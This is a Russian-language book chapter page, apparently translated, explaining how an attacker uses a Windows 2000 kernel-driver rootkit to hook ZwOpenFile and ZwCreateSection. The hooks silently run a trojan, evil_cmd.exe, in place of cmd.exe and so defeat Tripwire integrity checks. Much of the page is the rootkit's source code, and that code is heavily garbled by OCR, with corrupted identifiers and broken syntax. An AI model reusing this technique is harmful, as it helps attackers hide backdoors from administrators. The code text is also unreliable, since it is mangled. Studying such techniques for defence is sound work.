На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Перенаправление данных с помощью "троянских" программ

Как только хакер получает доступ к системе с правами администратора, можно считать скомпрометированными все системы мониторинга и отслеживания целостности файлов. Даже если данные аудита и контрольные суммы криптографических средств хранятся в безопасном месте, все равно скомпрометирована сама возможность отслеживать изменения в системе. Единственное исключение из этого правила представляет собой случай защищенных аппаратных средств, в которых система мониторинга или контроля целостности файлов хранится на отдельной изолированной аппаратной подсистеме. Однако такого практически никогда не происходит (особенно в отношении стандартных персональных компьютеров). Самое большее, что может сделать системный администратор при исследовании по частям, — это вынуть жесткий диск и запустить программу проверки целостности файлов на отдельной защищенной системе. По сути, это единственный способ надежного и безопасного запуска программ наподобие Tripwire (популярная программа проверки целостности файлов, в которой есть множество уязвимых мест).
Перенаправление и недостатки Tripwire
Рассмотренные нами в этой главе перехваты вызовов могут использоваться с целью скрыть определенные сведения о системе. Что произойдет, когда хакер заменит один файл другим, чтобы подменить оригинальную программу ее "троянской" версией? С помощью перехвата вызовов можно изменить принцип действия оригинального вызова и обеспечить выполнение дополнительных функций, установку "потайных ходов" и даже перенаправление цели запроса.
Рассмотрим популярную программу обеспечения безопасности Tripwire, которая предназначена для мониторинга системы и выявления наборов средств для взлома и "троянских" программ. Эта программа изучает содержимое каждого файла в системе и создает для каждого файла криптографическое хэшированное значение. Идея в том, что изменение содержимого файла приведет к изменению генерируемого хэша, т.е. при следующем аудите файла с помощью Tripwire будет получено новое значе ние хэша и системному администратору будет выдано уведомление об изменении файла. В принципе, идея хорошая, только она не срабатывает на практике (по крайней мере, с теми хакерами, которых мы знаем).
Давайте рассмотрим, что происходит, когда хакер устанавливает набор средств для взлома в системе. В нашем примере хакер заменяет интересующую атакуемую программу "троянской" версией. Хакер изменяет работу Tripwire таким образом, что системный администратор не обнаруживает установленного "потайного хода". Атакуемая система работает под управлением Windows 2000.
Для краткости предположим, что хакер обнаружил уязвимое место с возможностью выполнения команд в РНР-сценарии Web-сервера Windows 2000. При атаке на систему первоочередной задачей является создание программы, использующей это уязвимое место. Хакер компилирует драйвер устройства в системе Windows 2000, в который добавляет код для перехвата следующих вызовов.
ZwOpenFile ZwCreateSection
Устанавливается драйвер для перехвата этих двух вызовов и при запуске открывается дескриптор выполняемой "троянской" программы. Для нашего примера предположим, что хакер хочет заменить командный интерпретатор cmd.exe "троянской" версией evil_cmd.exe. Когда программа или администратор попробуют запустить cmd.exe, вместо нормального командного интерпретатора запустится "троянская" программа. К сожалению, использование Tripwire не позволит обнаружить действия "троянской" программы.
После компиляции и тестирования драйвер устройства конвертируется в шест-надцатеричный код и доставляется на удаленную систему, как рассказано в главе 4, "Взлом серверных приложений" (или с помощью других методов). То же самое касается и "троянской" программы evil_cmd.exe. На атакуемой системе драйвер загружается в память стандартными средствами.
Драйвер для перенаправления
Обман программы Tripwire с помощью драйвера для перенаправления осуществляется благодаря изменению хода выполнения программ (а не самих программ). Драйвер не заменяет оригинальной программы. Программы наподобие Tripwire всегда выдают сведения о нормальной ситуации, поскольку они всегда проверяют правильные, неизмененные файлы. Наш перехват вызова функции ZwOpenFile проверяет имя каждого открытого файла и просто отслеживает дескрипторы открытых файлов. Если следует дальнейший запрос на открытие этого файла, то драйвер "переключает" дескриптор оригинального файла на дескриптор "троянского" файла. Единственным результатом будет создание нового процесса, никаких новых или измененных файлов не возникнет. Программа Tripwire оказывается бесполезной.
NTSTATUS NewZwOpenFile( PHANDLE phFile, ACCESS MASK DesiredAccess, K}BJECT=ATTRIBUTES Otojj ectAttributes, PIO_STATUS_BLOCK ploStatusBlock,
ULONG ShareMode, ULONG OpenMode
> i

Наш перехват функции ZwOpenFile проверяет имя открываемого файла, чтобы определить является ли цель запроса интересующим нас файлом. Если это так, то дескриптор файла сохраняется для будущего применения. Перехват вызова просто вызывает функцию ZwOpenFile и позволяет продолжить выполнение программы.
Если предпринимается попытка запустить процесс, используя этот дескриптор файла, наш код осуществит перенаправление к "троянской" программе. До создания процесса должен быть выделен раздел памяти (memory section). Раздел памяти напоминает проецируемый в память файл в ядре NT. Раздел памяти создается с использованием дескриптора файла. Создается отображение в виртуальной памяти, после чего может осуществляться вызов ZwCreateProcess. Наш драйвер контролирует все случаи создания разделов памяти для дескриптора интересующего нас файла. Если происходит отображение искомого файла, то существует большая вероятность его использования. Вот здесь драйвер и меняет местами дескрипторы файлов. Вместо отображения правильного файла, драйвер меняет раздел памяти и отображает "троянский" исполняемый файл. Все это работает очень хорошо и в результате мы получаем исполняемую "троянскую" программу. Наша замена для функции ZwCreateSection выглядит следующим образом.
NTSTATUS NewZwCreateSection (
OUT РHANDLE phSection,
IN ACCESSMASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG SectionPageProtection,

IN ULONG Al locar. lonAt tr ibutes, IN HANDLE hFile OPTIONAL
ir.l г с;
CHAR at>; ocessWame [ PROCNAMELEN ]; GetPior:essNanie ( aProceseName I; DbgPrint("rootkit: NewZwCreateSection() ■b from %з\г.", aProcessNarr.el ;
DumpObnectAttributes (ObjectAttributes);
if[AilocalionALtributes i SEC_FILE)
DbgPrint("Allocat JonAttributes i REC_rlLE\n"); ifiAllocationAttributea 4 SEC IMAGE)
Dbg Print ("AliocationA-.trlbutes h SEC_IMAGE\n ") ; i fIAllocati onAL t г ibutes 4 SEC_RESERVE)
DbgPrint (" Al i Oca tionAt tributes ■ SECRESEHVE\n") ; 11 (AllocatlonAttributes i SEC COMMIT)
Dbq-Print ("AllbcatlonAttributes i SEC_COMMIT\n") j if (AiiocationAttributes i SE,"C_MOCACHE)
DbgPiint("AiiocationAttributes 4 SEC_NOCACHE\n"); DbcjPrlnt ("EwCredLeSeotlon hFile Ох*Х\п". hFile);
lif 1
i* (hFile) i
HANDLE newf ileH = Checki'orKedi rectedr'ile f hFile ); if (newFileH) )
hFi le - rimffi leH;
i
>
#i?ndif
rc=(iZWCREATESECTION)(OldZwCreateSection)) ( phSection, DesiredAccess, ObjectAttribuLes, Мчх imjrr.Siae, Sect ionPsgeProtectinn, Д1) o:-ationAt t ributes, hFile)j
if iphsecticn)
(
DbqP:int("section handle 3xiX\n", 'phSectionIl
i
DbgPrint("rootXii: ZwCreateSection : rc * *x\n", rc); return rc;
С помощью приведенного ниже кода "троянский' файл можно отобразить в память. Это функции поддержки, вызываемые из приведенного выше программного кода. Обратите внимание на путь к "троянскому" исполняемому файлу на диске С.
HANDLE gFileHandle - 0; HANDLE gSectlonHandle - Or HANDLF jfWrt i rpct 4<»rr i лпЧ.тиИ е- - п,-HAND1E gRedirectFileHand.e • Or
Void WatchProcessRandle( HANDLE LheTileH 1
f
NTSTATUS rc;
HANDLE hProcessCreatsd, hprocessOpened, hFile, hSHCtion; CBJECTATTRIBUTES Ob3eoLAltj; UN1C0DE_STRING PEUeessName; UNICODE_STFING Sec. IonName; UNICODE STRING FileName;

LARGE_INTEGER MaxSize; ULONG SeCtionSize-8192;
IOSTATUSBLOCK ioStatusBlock; ULONG allocsize - 0;
DbgPrint("rootkit: загрузка образа троянского файла\п"1 /* сначала открываем файл с помощью MtCreateFile
. это работает для образа Win32.
. calc.ехе только для тестирования.
RtllnitUnicodeString (iFileName, L"\\??\\C: Wevil_cmd.exe"), InitializeObjectAttributes( fiObjectAttr,
SFileName,
OBJ_CASE_INSENSITTVE,
NULL,
NULL);
rc - ZwCreateFile( GhFile,
GENERICREAD I GENERIC_EXECUTE,
iObjectAttr,
&ioStatusBlock,
ballocsize,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,
FILE_OPEN,
0,
NULL,
0);
if (rc!=STATUS_SUCCESS) |
DbgPrint("Невозможно открыть файл, rc=%x\n", rc) ; return 0;
SetTrojanRedirectFile( hFile ); gFileHandle ■ theFileH;
HANDLE CheckForRedirectedFile( HANDLE hFile )
if(hFile == gFileHandle)
DbgPrint("rootkit: Обнаружено перенаправление ^ дескриптора файла filehandle - из %x в %x\n", *Ь hFile, gRedirectFileHandle) ;
return gRedirectFileHandle;
return NULL;
}
void SetTrojanRedirectFilef HANDLE hFile ) gRedirectFileHandle = hFile;

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика